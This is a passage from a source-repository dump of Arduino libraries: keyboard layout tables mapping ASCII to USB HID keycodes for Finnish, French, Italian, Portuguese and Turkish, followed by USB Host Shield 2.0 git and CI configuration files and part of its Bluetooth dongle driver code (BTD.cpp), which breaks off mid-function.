Start extended ASCII 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // ç 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x33, // ñ 0x33|SHIFT, // Ñ 0x00, 0x00, 0x2e|SHIFT, // ¿ 0x00, 0x00, 0x00, 0x00, 0x2e, // ¡ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, }; #endif ================================================ FILE: libraries/Keyboard/src/fi_fi.h ================================================ #ifndef _kbd_lang #define _kbd_lang extern const uint8_t _asciimap[256] PROGMEM; #define SHIFT 0x80 const uint8_t _asciimap[256] = { 0x00, // NUL 0x00, // SOH 0x00, // STX 0x00, // ETX 0x00, // EOT 0x00, // ENQ 0x00, // ACK 0x00, // BEL 0x2a, // BS Backspace 0x2b, // TAB Tab 0x28, // LF Enter 0x00, // VT 0x00, // FF 0x00, // CR 0x00, // SO 0x00, // SI 0x00, // DEL 0x00, // DC1 0x00, // DC2 0x00, // DC3 0x00, // DC4 0x00, // NAK 0x00, // SYN 0x00, // ETB 0x00, // CAN 0x00, // EM 0x00, // SUB 0x00, // ESC 0x00, // FS 0x00, // GS 0x00, // RS 0x00, // US 0x2c, // ' ' 0x1e|SHIFT, // ! 0x1f|SHIFT, // " 0x20|SHIFT, // # 0x21, // $ 0x22|SHIFT, // % 0x23|SHIFT, // & 0x31, // ' 0x25|SHIFT, // ( 0x26|SHIFT, // ) 0x31|SHIFT, // * 0x2d, // + 0x36, // , 0x38, // - 0x37, // . 0x24|SHIFT, // / 0x27, // 0 0x1e, // 1 0x1f, // 2 0x20, // 3 0x21, // 4 0x22, // 5 0x23, // 6 0x24, // 7 0x25, // 8 0x26, // 9 0x37|SHIFT, // : 0x36|SHIFT, // ; 0x64, // < 0x27|SHIFT, // = 0x64|SHIFT, // > 0x2d|SHIFT, // ? 0x1f, // @ 0x04|SHIFT, // A 0x05|SHIFT, // B 0x06|SHIFT, // C 0x07|SHIFT, // D 0x08|SHIFT, // E 0x09|SHIFT, // F 0x0a|SHIFT, // G 0x0b|SHIFT, // H 0x0c|SHIFT, // I 0x0d|SHIFT, // J 0x0e|SHIFT, // K 0x0f|SHIFT, // L 0x10|SHIFT, // M 0x11|SHIFT, // N 0x12|SHIFT, // O 0x13|SHIFT, // P 0x14|SHIFT, // Q 0x15|SHIFT, // R 0x16|SHIFT, // S 0x17|SHIFT, // T 0x18|SHIFT, // U 0x19|SHIFT, // V 0x1a|SHIFT, // W 0x1b|SHIFT, // X 0x1c|SHIFT, // Y 0x1d|SHIFT, // Z 0x25, // [ 0x2d, // bslash 0x26, // ] 0x23, // ^ 0x38|SHIFT, // _ 0x2d|SHIFT, // ` 0x04, // a 0x05, // b 0x06, // c 0x07, // d 0x08, // e 0x09, // f 0x0a, // g 0x0b, // h 0x0c, // i 0x0d, // j 0x0e, // k 0x0f, // l 0x10, // m 0x11, // n 0x12, // o 0x13, // p 0x14, // q 0x15, // r 0x16, // s 0x17, // t 0x18, // u 0x19, // v 0x1a, // w 0x1b, // x 0x1c, // y 0x1d, // z 0x24, // { 0x36, // | 0x27, // } 0x2d, // ~ 0 // DEL }; #endif ================================================ FILE: libraries/Keyboard/src/fr_fr.h ================================================ #ifndef _kbd_lang #define _kbd_lang extern const uint8_t _asciimap[256] PROGMEM; #define SHIFT 0x80 const uint8_t _asciimap[256] = { 0x00, // NUL 0x00, // SOH 0x00, // STX 0x00, // ETX 0x00, // EOT 0x00, // ENQ 0x00, // ACK 0x00, // BEL 0x2a, // BS Backspace 0x2b, // TAB Tab 0x28, // LF Enter 0x00, // VT 0x00, // FF 0x00, // CR 0x00, // SO 0x00, // SI 0x00, // DEL 0x00, // DC1 0x00, // DC2 0x00, // DC3 0x00, // DC4 0x00, // NAK 0x00, // SYN 0x00, // ETB 0x00, // CAN 0x00, // EM 0x00, // SUB 0x00, // ESC 0x00, // FS 0x00, // GS 0x00, // RS 0x00, // US 0x2c, // ' ' 0x38, // ! 0x20, // " 0x20, // # 0x30, // $ 0x34|SHIFT, // % 0x1e, // & 0x21, // ' 0x22, // ( 0x2d, // ) 0x31, // * 0x2e|SHIFT, // + 0x10, // , 0x23, // - 0x36|SHIFT, // . 0x37|SHIFT, // / 0x27|SHIFT, // 0 0x1e|SHIFT, // 1 0x1f|SHIFT, // 2 0x20|SHIFT, // 3 0x21|SHIFT, // 4 0x22|SHIFT, // 5 0x23|SHIFT, // 6 0x24|SHIFT, // 7 0x25|SHIFT, // 8 0x26|SHIFT, // 9 0x37, // : 0x36, // ; 0x64, // < 0x2e, // = 0x64|SHIFT, // > 0x10|SHIFT, // ? 0x27, // @ 0x14|SHIFT, // A 0x05|SHIFT, // B 0x06|SHIFT, // C 0x07|SHIFT, // D 0x08|SHIFT, // E 0x09|SHIFT, // F 0x0a|SHIFT, // G 0x0b|SHIFT, // H 0x0c|SHIFT, // I 0x0d|SHIFT, // J 0x0e|SHIFT, // K 0x0f|SHIFT, // L 0x33|SHIFT, // M 0x11|SHIFT, // N 0x12|SHIFT, // O 0x13|SHIFT, // P 0x04|SHIFT, // Q 0x15|SHIFT, // R 0x16|SHIFT, // S 0x17|SHIFT, // T 0x18|SHIFT, // U 0x19|SHIFT, // V 0x1d|SHIFT, // W 0x1b|SHIFT, // X 0x1c|SHIFT, // Y 0x1a|SHIFT, // Z 0x22, // [ 0x25, // bslash 0x2d, // ] 0x26, // ^ 0x25, // _ 0x24, // ` 0x14, // a 0x05, // b 0x06, // c 0x07, // d 0x08, // e 0x09, // f 0x0a, // g 0x0b, // h 0x0c, // i 0x0d, // j 0x0e, // k 0x0f, // l 0x33, // m 0x11, // n 0x12, // o 0x13, // p 0x04, // q 0x15, // r 0x16, // s 0x17, // t 0x18, // u 0x19, // v 0x1d, // w 0x1b, // x 0x1c, // y 0x1a, // z 0x21, // { 0x23, // | 0x2e, // } 0x1f, // ~ 0 // DEL }; #endif ================================================ FILE: libraries/Keyboard/src/it_it.h ================================================ #ifndef _kbd_lang #define _kbd_lang extern const uint8_t _asciimap[256] PROGMEM; #define SHIFT 0x80 const uint8_t _asciimap[256] = { 0x00, // NUL 0x00, // SOH 0x00, // STX 0x00, // ETX 0x00, // EOT 0x00, // ENQ 0x00, // ACK 0x00, // BEL 0x2a, // BS Backspace 0x2b, // TAB Tab 0x28, // LF Enter 0x00, // VT 0x00, // FF 0x00, // CR 0x00, // SO 0x00, // SI 0x00, // DEL 0x00, // DC1 0x00, // DC2 0x00, // DC3 0x00, // DC4 0x00, // NAK 0x00, // SYN 0x00, // ETB 0x00, // CAN 0x00, // EM 0x00, // SUB 0x00, // ESC 0x00, // FS 0x00, // GS 0x00, // RS 0x00, // US 0x2c, // ' ' 0x1e|SHIFT, // ! 0x1f|SHIFT, // " 0x34, // # 0x21|SHIFT, // $ 0x22|SHIFT, // % 0x23|SHIFT, // & 0x2d, // ' 0x25|SHIFT, // ( 0x26|SHIFT, // ) 0x30|SHIFT, // * 0x30, // + 0x36, // , 0x38, // - 0x37, // . 0x24|SHIFT, // / 0x27, // 0 0x1e, // 1 0x1f, // 2 0x20, // 3 0x21, // 4 0x22, // 5 0x23, // 6 0x24, // 7 0x25, // 8 0x26, // 9 0x37|SHIFT, // : 0x36|SHIFT, // ; 0x64, // < 0x27|SHIFT, // = 0x64|SHIFT, // > 0x2d|SHIFT, // ? 0x33, // @ 0x04|SHIFT, // A 0x05|SHIFT, // B 0x06|SHIFT, // C 0x07|SHIFT, // D 0x08|SHIFT, // E 0x09|SHIFT, // F 0x0a|SHIFT, // G 0x0b|SHIFT, // H 0x0c|SHIFT, // I 0x0d|SHIFT, // J 0x0e|SHIFT, // K 0x0f|SHIFT, // L 0x10|SHIFT, // M 0x11|SHIFT, // N 0x12|SHIFT, // O 0x13|SHIFT, // P 0x14|SHIFT, // Q 0x15|SHIFT, // R 0x16|SHIFT, // S 0x17|SHIFT, // T 0x18|SHIFT, // U 0x19|SHIFT, // V 0x1a|SHIFT, // W 0x1b|SHIFT, // X 0x1c|SHIFT, // Y 0x1d|SHIFT, // Z 0x2f, // [ 0x35, // bslash 0x30, // ] 0x2e|SHIFT, // ^ 0x38|SHIFT, // _ 0x39, // ` 0x04, // a 0x05, // b 0x06, // c 0x07, // d 0x08, // e 0x09, // f 0x0a, // g 0x0b, // h 0x0c, // i 0x0d, // j 0x0e, // k 0x0f, // l 0x10, // m 0x11, // n 0x12, // o 0x13, // p 0x14, // q 0x15, // r 0x16, // s 0x17, // t 0x18, // u 0x19, // v 0x1a, // w 0x1b, // x 0x1c, // y 0x1d, // z 0x2f|SHIFT, // { 0x35|SHIFT, // | 0x30|SHIFT, // } 0x34, // ~ 0 // DEL }; #endif ================================================ FILE: libraries/Keyboard/src/pt_pt.h ================================================ #ifndef _kbd_lang #define _kbd_lang extern const uint8_t _asciimap[256] PROGMEM; #define SHIFT 0x80 const uint8_t _asciimap[256] = { 0x00, // NUL 0x00, // SOH 0x00, // STX 0x00, // ETX 0x00, // EOT 0x00, // ENQ 0x00, // ACK 0x00, // BEL 0x2a, // BS Backspace 0x2b, // TAB Tab 0x28, // LF Enter 0x00, // VT 0x00, // FF 0x00, // CR 0x00, // SO 0x00, // SI 0x00, // DEL 0x00, // DC1 0x00, // DC2 0x00, // DC3 0x00, // DC4 0x00, // NAK 0x00, // SYN 0x00, // ETB 0x00, // CAN 0x00, // EM 0x00, // SUB 0x00, // ESC 0x00, // FS 0x00, // GS 0x00, // RS 0x00, // US 0x2c, // ' ' 0x1e|SHIFT, // ! 0x1f|SHIFT, // " 0x20|SHIFT, // # 0x21|SHIFT, // $ 0x22|SHIFT, // % 0x23|SHIFT, // & 0x2d, // ' 0x25|SHIFT, // ( 0x26|SHIFT, // ) 0x2f|SHIFT, // * 0x2f, // + 0x36, // , 0x38, // - 0x37, // . 0x24|SHIFT, // / 0x27, // 0 0x1e, // 1 0x1f, // 2 0x20, // 3 0x21, // 4 0x22, // 5 0x23, // 6 0x24, // 7 0x25, // 8 0x26, // 9 0x37|SHIFT, // : 0x36|SHIFT, // ; 0x64, // < 0x27|SHIFT, // = 0x64|SHIFT, // > 0x2d|SHIFT, // ? 0x1f, // @ 0x04|SHIFT, // A 0x05|SHIFT, // B 0x06|SHIFT, // C 0x07|SHIFT, // D 0x08|SHIFT, // E 0x09|SHIFT, // F 0x0a|SHIFT, // G 0x0b|SHIFT, // H 0x0c|SHIFT, // I 0x0d|SHIFT, // J 0x0e|SHIFT, // K 0x0f|SHIFT, // L 0x10|SHIFT, // M 0x11|SHIFT, // N 0x12|SHIFT, // O 0x13|SHIFT, // P 0x14|SHIFT, // Q 0x15|SHIFT, // R 0x16|SHIFT, // S 0x17|SHIFT, // T 0x18|SHIFT, // U 0x19|SHIFT, // V 0x1a|SHIFT, // W 0x1b|SHIFT, // X 0x1c|SHIFT, // Y 0x1d|SHIFT, // Z 0x25, // [ 0x35, // bslash 0x26, // ] 0x31|SHIFT, // ^ 0x38|SHIFT, // _ 0x30|SHIFT, // ` 0x04, // a 0x05, // b 0x06, // c 0x07, // d 0x08, // e 0x09, // f 0x0a, // g 0x0b, // h 0x0c, // i 0x0d, // j 0x0e, // k 0x0f, // l 0x10, // m 0x11, // n 0x12, // o 0x13, // p 0x14, // q 0x15, // r 0x16, // s 0x17, // t 0x18, // u 0x19, // v 0x1a, // w 0x1b, // x 0x1c, // y 0x1d, // z 0x24, // { 0x35|SHIFT, // | 0x27, // } 0x31, // ~ 0 // DEL }; #endif ================================================ FILE: libraries/Keyboard/src/tr_tr.h ================================================ #ifndef _kbd_lang #define _kbd_lang extern const uint8_t _asciimap[256] PROGMEM; #define SHIFT 0x80 const uint8_t _asciimap[256] = { 0x00, // NUL 0x00, // SOH 0x00, // STX 0x00, // ETX 0x00, // EOT 0x00, // ENQ 0x00, // ACK 0x00, // BEL 0x2a, // BS Backspace 0x2b, // TAB Tab 0x28, // LF Enter 0x00, // VT 0x00, // FF 0x00, // CR 0x00, // SO 0x00, // SI 0x00, // DEL 0x00, // DC1 0x00, // DC2 0x00, // DC3 0x00, // DC4 0x00, // NAK 0x00, // SYN 0x00, // ETB 0x00, // CAN 0x00, // EM 0x00, // SUB 0x00, // ESC 0x00, // FS 0x00, // GS 0x00, // RS 0x00, // US 0x2c, // ' ' 0x1e|SHIFT, // ! 0x35, // " 0x20, // # 0x21, // $ 0x22|SHIFT, // % 0x23|SHIFT, // & 0x1f|SHIFT, // ' 0x25|SHIFT, // ( 0x26|SHIFT, // ) 0x2d, // * 0x21|SHIFT, // + 0x31, // , 0x2e, // - 0x38, // . 0x24|SHIFT, // / 0x27, // 0 0x1e, // 1 0x1f, // 2 0x20, // 3 0x21, // 4 0x22, // 5 0x23, // 6 0x24, // 7 0x25, // 8 0x26, // 9 0x38|SHIFT, // : 0x31|SHIFT, // ; 0x64, // < 0x27|SHIFT, // = 0x64|SHIFT, // > 0x2d|SHIFT, // ? 0x14, // @ 0x04|SHIFT, // A 0x05|SHIFT, // B 0x06|SHIFT, // C 0x07|SHIFT, // D 0x08|SHIFT, // E 0x09|SHIFT, // F 0x0a|SHIFT, // G 0x0b|SHIFT, // H 0x0c|SHIFT, // I 0x0d|SHIFT, // J 0x0e|SHIFT, // K 0x0f|SHIFT, // L 0x10|SHIFT, // M 0x11|SHIFT, // N 0x12|SHIFT, // O 0x13|SHIFT, // P 0x14|SHIFT, // Q 0x15|SHIFT, // R 0x16|SHIFT, // S 0x17|SHIFT, // T 0x18|SHIFT, // U 0x19|SHIFT, // V 0x1a|SHIFT, // W 0x1b|SHIFT, // X 0x1c|SHIFT, // Y 0x1d|SHIFT, // Z 0x25, // [ 0x2d, // bslash 0x26, // ] 0x20|SHIFT, // ^ 0x2e|SHIFT, // _ 0x35, // ` //DOES NOT WORK 0x04, // a 0x05, // b 0x06, // c 0x07, // d 0x08, // e 0x09, // f 0x0a, // g 0x0b, // h 0x34, // i 0x0d, // j 0x0e, // k 0x0f, // l 0x10, // m 0x11, // n 0x12, // o 0x13, // p 0x14, // q 0x15, // r 0x16, // s 0x17, // t 0x18, // u 0x19, // v 0x1a, // w 0x1b, // x 0x1c, // y 0x1d, // z 0x24, // { 0x64, // | 0x27, // } 0x30, // ~ 0 // DEL }; #endif ================================================ FILE: libraries/USB_Host_Shield_2.0/.gitattributes ================================================ # Auto detect text files and perform LF normalization * text=auto * text eol=lf # Custom for Visual Studio *.cs diff=csharp *.sln merge=union *.csproj merge=union *.vbproj merge=union *.fsproj merge=union *.dbproj merge=union # Standard to msysgit *.doc diff=astextplain *.DOC diff=astextplain *.docx diff=astextplain *.DOCX diff=astextplain *.dot diff=astextplain *.DOT diff=astextplain *.pdf diff=astextplain *.PDF diff=astextplain *.rtf diff=astextplain *.RTF diff=astextplain ================================================ FILE: libraries/USB_Host_Shield_2.0/.gitignore ================================================ *.bak *.zip *.rar build/ ================================================ FILE: libraries/USB_Host_Shield_2.0/.gitmodules ================================================ [submodule "examples/testusbhostFAT/generic_storage"] path = examples/testusbhostFAT/generic_storage url = https://github.com/xxxajk/generic_storage [submodule "examples/testusbhostFAT/xmem2"] path = examples/testusbhostFAT/xmem2 url = https://github.com/xxxajk/xmem2 [submodule "examples/testusbhostFAT/Arduino_Makefile_master"] path = examples/testusbhostFAT/Arduino_Makefile_master url = https://github.com/xxxajk/Arduino_Makefile_master [submodule "examples/testusbhostFAT/RTClib"] path = examples/testusbhostFAT/RTClib url = https://github.com/xxxajk/RTClib ================================================ FILE: libraries/USB_Host_Shield_2.0/.travis.yml ================================================ language: python python: - "2.7" # Cache PlatformIO packages using Travis CI container-based infrastructure sudo: false cache: directories: - "~/.platformio" # Generated using: find examples -type f -name "*.ino" | rev | cut -d/ -f2- | rev | sed 's/^/ - PLATFORMIO_CI_SRC=/' > tmp.yml env: - PLATFORMIO_CI_SRC=examples/acm/acm_terminal - PLATFORMIO_CI_SRC=examples/adk/adk_barcode - PLATFORMIO_CI_SRC=examples/adk/ArduinoBlinkLED - PLATFORMIO_CI_SRC=examples/adk/demokit_20 - PLATFORMIO_CI_SRC=examples/adk/term_test - PLATFORMIO_CI_SRC=examples/adk/term_time - PLATFORMIO_CI_SRC=examples/Bluetooth/BTHID - PLATFORMIO_CI_SRC=examples/Bluetooth/PS3BT - PLATFORMIO_CI_SRC=examples/Bluetooth/PS3Multi - PLATFORMIO_CI_SRC=examples/Bluetooth/PS3SPP - PLATFORMIO_CI_SRC=examples/Bluetooth/PS4BT - PLATFORMIO_CI_SRC=examples/Bluetooth/SPP - PLATFORMIO_CI_SRC=examples/Bluetooth/SPPMulti - PLATFORMIO_CI_SRC=examples/Bluetooth/Wii - PLATFORMIO_CI_SRC=examples/Bluetooth/WiiBalanceBoard - PLATFORMIO_CI_SRC=examples/Bluetooth/WiiIRCamera PLATFORMIO_BUILD_FLAGS="-DWIICAMERA" - PLATFORMIO_CI_SRC=examples/Bluetooth/WiiMulti - PLATFORMIO_CI_SRC=examples/Bluetooth/WiiUProController - PLATFORMIO_CI_SRC=examples/board_qc - PLATFORMIO_CI_SRC=examples/cdc_XR21B1411/XR_terminal - PLATFORMIO_CI_SRC=examples/ftdi/USBFTDILoopback - PLATFORMIO_CI_SRC=examples/HID/le3dp - PLATFORMIO_CI_SRC=examples/HID/scale - PLATFORMIO_CI_SRC=examples/HID/SRWS1 - PLATFORMIO_CI_SRC=examples/HID/USBHID_desc - PLATFORMIO_CI_SRC=examples/HID/USBHIDBootKbd - PLATFORMIO_CI_SRC=examples/HID/USBHIDBootKbdAndMouse - PLATFORMIO_CI_SRC=examples/HID/USBHIDBootMouse - PLATFORMIO_CI_SRC=examples/HID/USBHIDJoystick - PLATFORMIO_CI_SRC=examples/HID/USBHIDMultimediaKbd - PLATFORMIO_CI_SRC=examples/hub_demo - PLATFORMIO_CI_SRC=examples/max_LCD - PLATFORMIO_CI_SRC=examples/pl2303/pl2303_gprs_terminal - PLATFORMIO_CI_SRC=examples/pl2303/pl2303_gps - PLATFORMIO_CI_SRC=examples/pl2303/pl2303_tinygps - PLATFORMIO_CI_SRC=examples/pl2303/pl2303_xbee_terminal - PLATFORMIO_CI_SRC=examples/PS3USB - PLATFORMIO_CI_SRC=examples/PS4USB - PLATFORMIO_CI_SRC=examples/PSBuzz # - PLATFORMIO_CI_SRC=examples/testusbhostFAT - PLATFORMIO_CI_SRC=examples/USB_desc - PLATFORMIO_CI_SRC=examples/USBH_MIDI/bidirectional_converter - PLATFORMIO_CI_SRC=examples/USBH_MIDI/eVY1_sample - PLATFORMIO_CI_SRC=examples/USBH_MIDI/USB_MIDI_converter - PLATFORMIO_CI_SRC=examples/USBH_MIDI/USB_MIDI_converter_multi - PLATFORMIO_CI_SRC=examples/USBH_MIDI/USBH_MIDI_dump - PLATFORMIO_CI_SRC=examples/Xbox/XBOXOLD - PLATFORMIO_CI_SRC=examples/Xbox/XBOXONE - PLATFORMIO_CI_SRC=examples/Xbox/XBOXRECV - PLATFORMIO_CI_SRC=examples/Xbox/XBOXUSB install: - pip install -U platformio - export PLATFORMIO_BUILD_FLAGS="$PLATFORMIO_BUILD_FLAGS -DDEBUG_USB_HOST -Wall -Werror" # # Libraries from PlatformIO Library Registry: # # http://platformio.org/lib/show/62/MIDI # http://platformio.org/lib/show/416/TinyGPS # http://platformio.org/lib/show/417/SPI4Teensy3 - platformio lib install 62 416 417 script: - platformio ci --lib="." --board=uno --board=due --board=genuino101 --board=teensy30 --board=teensy31 --board=teensy35 --board=teensy36 --board=teensylc --board=esp12e --board=nodemcu --board=esp32dev ================================================ FILE: libraries/USB_Host_Shield_2.0/BTD.cpp ================================================ /* Copyright (C) 2012 Kristian Lauszus, TKJ Electronics. All rights reserved. This software may be distributed and modified under the terms of the GNU General Public License version 2 (GPL2) as published by the Free Software Foundation and appearing in the file GPL2.TXT included in the packaging of this file. Please note that GPL2 Section 2[b] requires that all works based on this software must also be made publicly available under the terms of the GPL2 ("Copyleft"). Contact information ------------------- Kristian Lauszus, TKJ Electronics Web : http://www.tkjelectronics.com e-mail : kristianl@tkjelectronics.com */ #include "BTD.h" // To enable serial debugging see "settings.h" //#define EXTRADEBUG // Uncomment to get even more debugging data const uint8_t BTD::BTD_CONTROL_PIPE = 0; const uint8_t BTD::BTD_EVENT_PIPE = 1; const uint8_t BTD::BTD_DATAIN_PIPE = 2; const uint8_t BTD::BTD_DATAOUT_PIPE = 3; BTD::BTD(USB *p) : connectToWii(false), pairWithWii(false), connectToHIDDevice(false), pairWithHIDDevice(false), pUsb(p), // Pointer to USB class instance - mandatory bAddress(0), // Device address - mandatory bNumEP(1), // If config descriptor needs to be parsed qNextPollTime(0), // Reset NextPollTime pollInterval(0), bPollEnable(false) // Don't start polling before dongle is connected { for(uint8_t i = 0; i < BTD_NUM_SERVICES; i++) btService[i] = NULL; Initialize(); // Set all variables, endpoint structs etc. to default values if(pUsb) // Register in USB subsystem pUsb->RegisterDeviceClass(this); // Set devConfig[] entry } uint8_t BTD::ConfigureDevice(uint8_t parent, uint8_t port, bool lowspeed) { const uint8_t constBufSize = sizeof (USB_DEVICE_DESCRIPTOR); uint8_t buf[constBufSize]; USB_DEVICE_DESCRIPTOR * udd = reinterpret_cast(buf); uint8_t rcode; UsbDevice *p = NULL; EpInfo *oldep_ptr = NULL; Initialize(); // Set all variables, endpoint structs etc. to default values AddressPool &addrPool = pUsb->GetAddressPool(); // Get memory address of USB device address pool #ifdef EXTRADEBUG Notify(PSTR("\r\nBTD ConfigureDevice"), 0x80); #endif if(bAddress) { // Check if address has already been assigned to an instance #ifdef DEBUG_USB_HOST Notify(PSTR("\r\nAddress in use"), 0x80); #endif return USB_ERROR_CLASS_INSTANCE_ALREADY_IN_USE; } p = addrPool.GetUsbDevicePtr(0); // Get pointer to pseudo device with address 0 assigned if(!p) { #ifdef DEBUG_USB_HOST Notify(PSTR("\r\nAddress not found"), 0x80); #endif return USB_ERROR_ADDRESS_NOT_FOUND_IN_POOL; } if(!p->epinfo) { #ifdef DEBUG_USB_HOST Notify(PSTR("\r\nepinfo is null"), 0x80); #endif return USB_ERROR_EPINFO_IS_NULL; } oldep_ptr = p->epinfo; // Save old pointer to EP_RECORD of address 0 p->epinfo = epInfo; // Temporary assign new pointer to epInfo to p->epinfo in order to avoid toggle inconsistence p->lowspeed = lowspeed; rcode = pUsb->getDevDescr(0, 0, constBufSize, (uint8_t*)buf); // Get device descriptor - addr, ep, nbytes, data p->epinfo = oldep_ptr; // Restore p->epinfo if(rcode) goto FailGetDevDescr; bAddress = addrPool.AllocAddress(parent, false, port); // Allocate new address according to device class if(!bAddress) { #ifdef DEBUG_USB_HOST Notify(PSTR("\r\nOut of address space"), 0x80); #endif return USB_ERROR_OUT_OF_ADDRESS_SPACE_IN_POOL; } if (udd->bDeviceClass == 0x09) // Some dongles have an USB hub inside goto FailHub; epInfo[0].maxPktSize = udd->bMaxPacketSize0; // Extract Max Packet Size from device descriptor epInfo[1].epAddr = udd->bNumConfigurations; // Steal and abuse from epInfo structure to save memory VID = udd->idVendor; PID = udd->idProduct; return USB_ERROR_CONFIG_REQUIRES_ADDITIONAL_RESET; FailHub: #ifdef DEBUG_USB_HOST Notify(PSTR("\r\nPlease create a hub instance in your code: \"USBHub Hub1(&Usb);\""), 0x80); #endif pUsb->setAddr(bAddress, 0, 0); // Reset address rcode = USB_DEV_CONFIG_ERROR_DEVICE_NOT_SUPPORTED; Release(); return rcode; FailGetDevDescr: #ifdef DEBUG_USB_HOST NotifyFailGetDevDescr(rcode); #endif if(rcode != hrJERR) rcode = USB_ERROR_FailGetDevDescr; Release(); return rcode; }; uint8_t BTD::Init(uint8_t parent __attribute__((unused)), uint8_t port __attribute__((unused)), bool lowspeed) { uint8_t rcode; uint8_t num_of_conf = epInfo[1].epAddr; // Number of configurations epInfo[1].epAddr = 0; AddressPool &addrPool = pUsb->GetAddressPool(); #ifdef EXTRADEBUG Notify(PSTR("\r\nBTD Init"), 0x80); #endif UsbDevice *p = addrPool.GetUsbDevicePtr(bAddress); // Get pointer to assigned address record if(!p) { #ifdef DEBUG_USB_HOST Notify(PSTR("\r\nAddress not found"), 0x80); #endif return USB_ERROR_ADDRESS_NOT_FOUND_IN_POOL; } delay(300); // Assign new address to the device rcode = pUsb->setAddr(0, 0, bAddress); // Assign new address to the device if(rcode) { #ifdef DEBUG_USB_HOST Notify(PSTR("\r\nsetAddr: "), 0x80); D_PrintHex (rcode, 0x80); #endif p->lowspeed = false; goto Fail; } #ifdef EXTRADEBUG Notify(PSTR("\r\nAddr: "), 0x80); D_PrintHex (bAddress, 0x80); #endif p->lowspeed = false; p = addrPool.GetUsbDevicePtr(bAddress); // Get pointer to assigned address record if(!p) { #ifdef DEBUG_USB_HOST Notify(PSTR("\r\nAddress not found"), 0x80); #endif return USB_ERROR_ADDRESS_NOT_FOUND_IN_POOL; } p->lowspeed = lowspeed; rcode = pUsb->setEpInfoEntry(bAddress, 1, epInfo); // Assign epInfo to epinfo pointer - only EP0 is known if(rcode) goto FailSetDevTblEntry; if(VID == PS3_VID && (PID == PS3_PID || PID == PS3NAVIGATION_PID || PID == PS3MOVE_PID)) { delay(100); rcode = pUsb->setConf(bAddress, epInfo[ BTD_CONTROL_PIPE ].epAddr, 1); // We only need the Control endpoint, so we don't have to initialize the other endpoints of device if(rcode) goto FailSetConfDescr; #ifdef DEBUG_USB_HOST if(PID == PS3_PID || PID == PS3NAVIGATION_PID) { if(PID == PS3_PID) Notify(PSTR("\r\nDualshock 3 Controller Connected"), 0x80); else // It must be a navigation controller Notify(PSTR("\r\nNavigation Controller Connected"), 0x80); } else // It must be a Motion controller Notify(PSTR("\r\nMotion Controller Connected"), 0x80); #endif if(my_bdaddr[0] == 0x00 && my_bdaddr[1] == 0x00 && my_bdaddr[2] == 0x00 && my_bdaddr[3] == 0x00 && my_bdaddr[4] == 0x00 && my_bdaddr[5] == 0x00) { #ifdef DEBUG_USB_HOST Notify(PSTR("\r\nPlease plug in the dongle before trying to pair with the PS3 Controller\r\nor set the Bluetooth address in the constructor of the PS3BT class"), 0x80); #endif } else { if(PID == PS3_PID || PID == PS3NAVIGATION_PID) setBdaddr(my_bdaddr); // Set internal Bluetooth address else setMoveBdaddr(my_bdaddr); // Set internal Bluetooth address #ifdef DEBUG_USB_HOST Notify(PSTR("\r\nBluetooth Address was set to: "), 0x80); for(int8_t i = 5; i > 0; i--) { D_PrintHex (my_bdaddr[i], 0x80); Notify(PSTR(":"), 0x80); } D_PrintHex (my_bdaddr[0], 0x80); #endif } pUsb->setConf(bAddress, epInfo[ BTD_CONTROL_PIPE ].epAddr, 0); // Reset configuration value pUsb->setAddr(bAddress, 0, 0); // Reset address Release(); // Release device return USB_DEV_CONFIG_ERROR_DEVICE_NOT_SUPPORTED; // Return } else { // Check if attached device is a Bluetooth dongle and fill endpoint data structure // First interface in the configuration must have Bluetooth assigned Class/Subclass/Protocol // And 3 endpoints - interrupt-IN, bulk-IN, bulk-OUT, not necessarily in this order for(uint8_t i = 0; i < num_of_conf; i++) { if((VID == IOGEAR_GBU521_VID && PID == IOGEAR_GBU521_PID) || (VID == BELKIN_F8T065BF_VID && PID == BELKIN_F8T065BF_PID)) { ConfigDescParser confDescrParser(this); // Workaround issue with some dongles rcode = pUsb->getConfDescr(bAddress, 0, i, &confDescrParser); } else { ConfigDescParser confDescrParser(this); // Set class id according to the specification rcode = pUsb->getConfDescr(bAddress, 0, i, &confDescrParser); } if(rcode) // Check error code goto FailGetConfDescr; if(bNumEP >= BTD_MAX_ENDPOINTS) // All endpoints extracted break; } if(bNumEP < BTD_MAX_ENDPOINTS) goto FailUnknownDevice; // Assign epInfo to epinfo pointer - this time all 3 endpoins rcode = pUsb->setEpInfoEntry(bAddress, bNumEP, epInfo); if(rcode) goto FailSetDevTblEntry; // Set Configuration Value rcode = pUsb->setConf(bAddress, epInfo[ BTD_CONTROL_PIPE ].epAddr, bConfNum); if(rcode) goto FailSetConfDescr; hci_num_reset_loops = 100; // only loop 100 times before trying to send the hci reset command hci_counter = 0; hci_state = HCI_INIT_STATE; waitingForConnection = false; bPollEnable = true; #ifdef DEBUG_USB_HOST Notify(PSTR("\r\nBluetooth Dongle Initialized"), 0x80); #endif } return 0; // Successful configuration /* Diagnostic messages */ FailSetDevTblEntry: #ifdef DEBUG_USB_HOST NotifyFailSetDevTblEntry(); goto Fail; #endif FailGetConfDescr: #ifdef DEBUG_USB_HOST NotifyFailGetConfDescr(); goto Fail; #endif FailSetConfDescr: #ifdef DEBUG_USB_HOST NotifyFailSetConfDescr(); #endif goto Fail; FailUnknownDevice: #ifdef DEBUG_USB_HOST NotifyFailUnknownDevice(VID, PID); #endif pUsb->setAddr(bAddress, 0, 0); // Reset address rcode = USB_DEV_CONFIG_ERROR_DEVICE_NOT_SUPPORTED; Fail: #ifdef 